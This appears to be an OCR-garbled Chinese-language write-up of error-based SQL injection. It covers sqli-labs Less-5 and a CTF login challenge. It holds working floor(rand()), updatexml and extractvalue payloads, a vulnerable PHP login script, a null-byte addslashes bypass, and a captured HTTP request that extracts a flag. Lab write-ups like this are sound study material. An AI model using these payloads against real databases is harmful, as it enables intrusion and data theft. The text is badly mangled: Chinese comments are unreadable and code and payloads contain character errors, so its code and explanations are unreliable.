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1: ?id=2’ and (select 1 from (select count(*),concat( floor(rand(@)*2),(select (select (E#IIEH))
from information_schema.tables limit ©,1))x from information_schema.tables group by x )a )--+

2: ?id=2’ and updatexml(1,concat(@x7e, (SELECT &EifjiEH]),0x7e),1)--+

3: ?2id=1’ and extractvalue(l, concat(@x7e, (select EifjiEH]),0x7e))--+
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EE A N: UPDATEXML (XML_document, XPath_string, new_value);.
HE—ASH: XML_documentRStringt& =R, JXMLICRIN REIZFR, CHADoc
BB XPath_string (Xpath#RMIFHHE)
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EXTRACTVALUE (XML_document, XPath_string);
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Welcome

You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near 1" LIMIT 0,1 at line 1
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XPATH syntax error: '~security~'
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&l Load URL http://127.0.0.1:82/sqli/Less-5/?id=1" and
updatexml(1,concat(0x7e,(select
database()),0x7e),1)%23 v
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_ information_schema.tables where
& Spit URL table_schema="security’ limit 1,1),0x7e),1)%23 v
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XPATH syntax error: '~password~'
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& Load URL http://127.0.0.1:82/sqli/Less-5/?id=1" and
- updatexml(1,concat(0x7e,(select password from
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1 <?php
2
3 require_once 'dbmysql.class.php';
4 require_once 'config.inc.php';
5
6 if(isset($_POST['username']) && isset($_POST[ 'password']) && isset($_POST['number'])){
7 $db = new mysql_db();
8 $username = $db->safe_data($_POST['username']);
9 $password = $db->my_md5($_POST[ 'password']);
10 $number = is_numeric($_POST[ 'number']) ? $ POST['number'] : 1;
11
12 $username = trim(str_replace($number, '', $username));
13
14 $sql = "select * from"." ".table_name." "."where username="."'"."$username".""'";
15 $row = $db->query($sql);
16 $result = $db->fetch_array($row);
17 if($row){
18 if($result["number"] === $number &_& $result["password"] === $password){
19 echo "<script>alert('nothing here!')</script>";
20 Yelse{
21 echo "<script>
22 alert('HE4E IR, ZANBMET!'");
23 function jumpurl(){
24 location="login.html';
25 }
26 setTimeout (' jumpurl()',1000);
27 </script>";
28 }
29 }else{
30 exit(mysql_error());
31 }
32 }else{
33 echo "<script>
34 alert(' P BEBARREANT!");
35 function jumpurl(){
36 location="login.html';
37 }
38 setTimeout (' jumpurl()',1000);
39 </script>";
40 }
41 ?>

safe data () &X:
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public function safe_data($value){
if( MAGIC_QUOTES_GPC ){
stripcslashes($value);

}

return addslashes($value);
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Number=0&username=test%00’ %23
UsernameZ: i # U & itest\0\” %23
RIGBWERIE TR test\\” %23
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username=admin%@0'+and+updatexml(1,concat(1, (select+*+from+flag+limit+1),1),1)%23
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http://a52ef2c5f81c4435a9f21d65h90aaba5dT3e4ec227014chs. gane. ichungin. A
com/1chungiu/login. html

Content—Type: application/z-www—forn-urlencoded

Content-Length: 146

Cookie: chliphone=ac¥zlpxhdpDiichhlluSnE qyiQuDI00000;
UH_distinctid=164ebaebfd9lcf-05dbhecdbbag4a-4c332072-1fa400-164ebachfd
a4h9; pegv_pvi=1197329408;
Hu_lwt_2d0601bd28deTd49818249c£35d95943=1532952458, 1533352279, 15333529
26, 1553437097,

Ho_lvt 9104989ce242a8203049%eaceca950328=1532952474, 1533437097 ;
Ho_lvwt_1a32fTc660491887db0960e9c314b022=1532952475, 1533437097 ;
browse=CFlZTxUTUOBLUIFGVE JTRFBZSkdeQFFYWVLFRVLRWEZTUR LPWLVLThO ;
cl_session=415f31alcf4al99%d4ds8140fb9afate9f6e034fh;
Ho_lpvt_2d0601bd28deTd49818249cf35d95943=1533437133;
Hn_lpvt_9104989ce242aBe0304%acecad50328=1333437110;
Ho_lpvt_1a32f7c660491887db0960e9c314b022=1533437110;
pegv_si=54125583360
Connection: close

Upgrade—-Insecure—Requests: 1

number=0&l,15ername=adm'1n%00’ +andtupdatexsml (1, concat (1, (selecttk+tfron+fl
agtlinit+1), 1), 1) %23&password=14&subni t=%E 6% EF% 9 0%E 44BA%A 4%E 6% SF%HASHES

HAF%MAZ

i

? < + = | |flag{f949bb08-992b-4be2-aa&f-596 0 matches
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HITR/1.1 200 OK

Server: nginx/1.10.2

Date: Sun, 05 Aug 2018 03:11:43 GHT
Content-Type: text/htnl; charset=utf-8
Content-Length: 7@

Connection: close

X-Povered-By: PHP/S. 5. 9-1lubuntud. 19
Vary: Accept-Encoding
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